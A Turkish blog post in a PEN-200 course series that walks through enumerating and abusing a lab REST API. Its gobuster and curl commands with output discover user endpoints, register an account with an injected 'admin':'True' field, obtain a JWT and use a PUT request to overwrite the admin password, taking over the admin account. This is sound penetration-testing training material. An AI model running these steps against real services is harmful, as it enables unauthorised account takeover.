PEN-200

Enumerating and Abusing APIs | PEN-200

Merhaba. Offensive Security tarafında yer alan “PEN-200: Penetration Testing with Kali Linux” sertifika eğitimi yazı serisinin on altıncı yazısı olan “Enumerating and Abusing APIs” konusunu ele alacağım.

API Nedir?

Uygulama programlama arayüzü (İngilizce: application programming interface, kısaca API), bir yazılımın başka bir yazılımda tanımlanmış işlevlerini kullanabilmesi için oluşturulmuş bir tanım bütünüdür. API; web uygulaması, işletim sistemi, veritabanı, donanımlar yahut yazılım kütüphanesi için kullanılabilir. Günümüzde yoğunlukla web tabanlı uygulamalarda istemci ve sunucu arasındaki iletişimi sağlayan bir sözleşme olarak kullanılmaktadır. Öyle ki istemci spesifik bir formatta veri talep eder ve her halükarda sunucudan yine belirli bir formatta cevap alır. Bu durum API’nın özel bir formu olarak WebAPI olarak da adlandırılır. (Wikipedia)

Çoğu durumda sızma testi hedefimiz, bir dizi Uygulama Programlama Arayüzü (API) ile birlikte gönderilen, dahili olarak oluşturulmuş, kapalı kaynaklı bir web uygulamasıdır. Bu API’ler, arka uç mantığıyla etkileşim kurmaktan ve web uygulamasına sağlam bir işlev omurgası sağlamaktan sorumludur.

Temsili Durum Transferi (REST) ​​adı verilen belirli bir API türü, kimlik doğrulama da dahil olmak üzere çeşitli amaçlar için kullanılır.

Tipik bir white-box test senaryosunda, saldırı yüzeyini tam olarak haritalamamıza yardımcı olacak eksiksiz API belgeleri alırız. Ancak black-box testi gerçekleştirirken hedefin API’sini kendimiz keşfetmemiz gerekecek.

API yollarının ardından genellikle bir sürüm numarası gelir ve bu da aşağıdaki gibi bir kalıpla sonuçlanır:

/api_name/v1

API adı genellikle, çalıştırmak için kullandığı özellik veya veriler hakkında oldukça açıklayıcıdır ve ardından doğrudan sürüm numarası gelir. Bu bilgilerle, Gobuster kullanarak bir wordlist ile API yollarını brute-force deneyelim. Bu özelliği -p seçeneğini kullanarak ve kalıpları olan bir dosya sağlayarak çağırabiliriz.
Testimiz için Kali Linux‘ta aşağıdaki metni içeren bir komut kullanalım:

{GOBUSTER}/v1
{GOBUSTER}/v2

Bu örnekte, kelime listemizdeki herhangi bir kelimeyi eşleştirmek için “{GOBUSTER}” yer tutucusunu kullanıyoruz ve bu kelimeye sürüm numarası eklenecektir. Testimizi basit tutmak için yalnızca iki versiyonla deneyeceğiz. Bu bölümde yer alan örnekleri PEN-200 eğitim dökümanı içerisinden aldım. Elimde böyle bir lab olmadığı için bu yolu seçmek zorundaydım.

Artık aşağıdaki komutu kullanarak API’yi gobuster ile numaralandırmaya hazırız:

kali@kali:~$ gobuster dir -u http://testip:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://testip:5001
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Patterns: pattern (1 entries)
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/04/06 04:19:46 Starting gobuster in directory enumeration mode
===============================================================
/books/v1 (Status: 200) [Size: 235]
/console (Status: 200) [Size: 1985]
/ui (Status: 308) [Size: 265] [--> http://testip:5001/ui/]
/users/v1 (Status: 200) [Size: 241]

API uç noktaları gibi görünen iki ilginç giriş de dahil olmak üzere çok sayıda isabet keşfettik: /books/v1 ve /users/v1.

/ui yoluna göz atarsak API’lerin tüm belgelerini keşfederiz. Bu, white-box testi sırasında yaygın olmasına rağmen, normalde black-box testi sırasında sahip olduğumuz bir lüks değildir.

Öncelikle /users API’sini curl ile inceleyelim.

kali@kali:~$ curl -i http://testip:5002/users/v1
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 241
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 09:27:50 GMT
{
 "users": [
 {
 "email": "[email protected]",
 "username": "name1"
 },
 {
 "email": "[email protected]",
 "username": "name2"
 },
 {
 "email": "[email protected]",
 "username": "admin"
 }
 ]
}

Uygulama, daha fazla araştırmaya değer görünen bir yönetici hesabı da dahil olmak üzere üç kullanıcı hesabı döndürdü. Bu bilgiyi gobuster ile başka bir brute-force saldırısı girişiminde bulunmak için kullanabiliriz, bu sefer yöneticiyi daha küçük bir kelime listesiyle hedef alırız. Kullanıcı adı özelliğiyle ilişkili başka bir API özelliğinin olup olmadığını doğrulamak için en sona yönetici kullanıcı adını ekleyerek API yolunu genişleteceğiz.

kali@kali:~$ gobuster dir -u http://testip:5002/users/v1/admin/ -w
/usr/share/wordlists/dirb/small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://testip:5001/users/v1/admin/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/04/06 06:40:12 Starting gobuster in directory enumeration mode
===============================================================
/email (Status: 405) [Size: 142]
/password (Status: 405) [Size: 142]
===============================================================
2022/04/06 06:40:35 Finished
===============================================================

Password Api yolunu curl ile çekelim ve inceleyelim.

kali@kali:~$ curl -i http://testip:5002/users/v1/admin/password
HTTP/1.0 405 METHOD NOT ALLOWED
Content-Type: application/problem+json
Content-Length: 142
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 10:58:51 GMT
{
 "detail": "The method is not allowed for the requested URL.",
 "status": 405,
 "title": "Method Not Allowed",
 "type": "about:blank"
}

İlginç bir şekilde, 404 yanıt kodu yerine, istenen URL’nin mevcut olduğunu ancak HTTP yöntemimizin desteklenmediğini gösteren 405 Method Not Allowed mesajını aldık. Curl, istekleri gerçekleştirirken varsayılan olarak GET yöntemini kullanır, bu nedenle POST veya PUT gibi farklı bir yöntemle parola API’si ile etkileşim kurmayı deneyebiliriz.

Hem POST hem de PUT yöntemleri, eğer bu spesifik API’de izin veriliyorsa, kullanıcı kimlik bilgilerini (bu durumda yönetici şifresi) geçersiz kılmamıza izin verebilir. Farklı bir yöntem denemeden önce üzerine yazılan kimlik bilgilerinin kabul edilip edilmediğini doğrulayalım. Temel URL’mizi aşağıdaki gibi genişleterek giriş yönteminin desteklenip desteklenmediğini kontrol edebiliriz:

kali@kali:~$ curl -i http://testip:5002/users/v1/login
HTTP/1.0 404 NOT FOUND
Content-Type: application/json
Content-Length: 48
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 12:04:30 GMT
{ "status": "fail", "message": "User not found"}

404 NOT FOUND mesajıyla karşılaşmamıza rağmen durum mesajı kullanıcının bulunamadığını belirtiyor; API’nin kendisinin var olduğuna dair başka bir açık işaret. Sadece onunla etkileşim kurmanın uygun bir yolunu bulmamız gerekiyor. Kullanıcı adlarından birinin admin olduğunu biliyoruz, dolayısıyla stratejimizin anlamlı olup olmadığını doğrulamak için bu kullanıcı adı ve sahte bir şifreyle oturum açmayı deneyebiliriz.

Daha sonra yukarıdaki GET isteğini POST’a dönüştürüp payloadımızı gerekli JSON formatında sağlamaya çalışacağız. İsteğimizi önce -d parametresi aracılığıyla yönetici kullanıcı adını ve sahte şifreyi JSON verisi olarak ileterek oluşturalım. -H ile yeni bir başlık belirleyerek “Content-Type” olarak da “json”u belirleyeceğiz.

kali@kali:~$ curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type:
application/json' http://testip:5002/users/v1/login
{ "status": "fail", "message": "Password is not correct for the given username."}

API dönüş mesajı, kimlik doğrulamanın başarısız olduğunu gösterir; bu, API parametrelerinin doğru şekilde oluşturulduğu anlamına gelir. Admin şifresini bilmediğimiz için başka bir yol deneyelim ve yeni kullanıcı olarak kayıt olup olamayacağımızı kontrol edelim. Bu farklı bir saldırı yüzeyine yol açabilir.
İstediğiniz kullanıcı adını ve şifreyi belirten bir JSON veri yapısı ekleyerek yeni bir kullanıcıyı aşağıdaki sözdizimiyle kaydetmeyi deneyelim:

kali@kali:~$curl -d '{"password":"lab","username":"offsecadmin"}' -H 'Content-Type:
application/json' http://testip:5002/users/v1/register
{ "status": "fail", "message": "'email' is a required property"}

API, bir e-posta adresi de eklememiz gerektiğini belirten bir başarısız mesajıyla yanıt verdi. Bu fırsatı kötüye kullanabileceğimiz herhangi bir administrative anahtar olup olmadığını belirlemek için değerlendirebiliriz. Yönetici anahtarını ve ardından True değerini ekleyelim.

kali@kali:~$curl -d
'{"password":"lab","username":"offsec","email":"[email protected]","admin":"True"}' -H
'Content-Type: application/json' http://testip:5002/users/v1/register
{"message": "Successfully registered. Login to receive an auth token.", "status":
"success"}

Herhangi bir hata almadığımız için, yeni bir kullanıcıyı başarıyla yönetici olarak kaydetmeyi başardığımız görülüyor ki buna tasarım gereği izin verilmemelidir. Daha sonra, daha önce keşfettiğimiz giriş API’sini çağırarak yeni oluşturduğumuz kimlik bilgileriyle giriş yapmayı deneyelim.

kali@kali:~$curl -d '{"password":"lab","username":"offsec"}' -H 'Content-Type:
application/json' http://testip:5002/users/v1/login
{"auth_token":
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwi
c3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew", "message":
"Successfully logged in.", "status": "success"}

Doğru şekilde oturum açıp JWT kimlik doğrulama jetonunu almayı başardık. Yönetici kullanıcı olduğumuza dair somut bir kanıt elde etmek için, bu belirteci yönetici kullanıcı şifresini değiştirmek için kullanmalıyız.
Bunu, şifre API’sini hedefleyen bir POST isteği oluşturarak deneyebiliriz.

kali@kali:~$ curl \
 'http://testip:5002/users/v1/admin/password' \
 -H 'Content-Type: application/json' \
 -H 'Authorization: OAuth
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwic
3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew' \
 -d '{"password": "pwned"}'
{
 "detail": "The method is not allowed for the requested URL.",
 "status": 405,
 "title": "Method Not Allowed",
 "type": "about:blank"
}

JWT anahtarını yeni şifreyle birlikte Yetkilendirme başlığının içine aktardık. Ne yazık ki uygulama, kullanılan yöntemin yanlış olduğunu belirtiyor, bu yüzden başka bir yöntem denememiz gerekiyor. PUT yöntemi (PATCH ile birlikte), POST isteği yoluyla bir değer oluşturmak yerine genellikle bir değeri değiştirmek için kullanılır; bu nedenle, şimdi onu açıkça tanımlamaya çalışalım:

kali@kali:~$ curl -X 'PUT' \
 'http://testip:5002/users/v1/admin/password' \
 -H 'Content-Type: application/json' \
 -H 'Authorization: OAuth
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzE3OTQsImlhdCI6MTY0OTI3MTQ5NCwic
3ViIjoib2Zmc2VjIn0.OeZH1rEcrZ5F0QqLb8IHbJI7f9KaRAkrywoaRUAsgA4' \
 -d '{"password": "pwned"}'

Bu sefer hiçbir hata mesajı almadık, dolayısıyla uygulamanın arka uç mantığı tarafından herhangi bir hatanın atılmadığını varsayabiliriz. Saldırımızın başarılı olduğunu kanıtlamak için yeni değiştirdiğimiz şifreyi kullanarak yönetici olarak giriş yapmayı deneyebiliriz.

kali@kali:~$ curl -d '{"password":"pwned","username":"admin"}' -H 'Content-Type:
application/json' http://testip:5002/users/v1/login
{"auth_token":
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzIxMjgsImlhdCI6MTY0OTI3MTgyOCwi
c3ViIjoiYWRtaW4ifQ.yNgxeIUH0XLElK95TCU88lQSLP6lCl7usZYoZDlUlo0", "message":
"Successfully logged in.", "status": "success"}

Ve evet kayıt API’sinde bulunan mantıksal ayrıcalık yükseltme hatasını kullanarak yönetici hesabını devralmayı başardık.

Bu yazıda API’ler üzerinde bulunan bazı zafiyetleri kullandık. Özellikle son zamanlarda popüler olan bir test kıstası olarak karşımıza çıkmaktadır. Bu bölümde yer alan örnekleri PEN-200 eğitim dökümanı içerisinden aldım. Elimde böyle bir lab olmadığı için bu yolu seçmek zorundaydım.

PEN-200 serisinin on altıncı yazısının sonuna geldik. Başka yazılarda görüşmek üzere.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

twenty − 11 =

Başa dön tuşu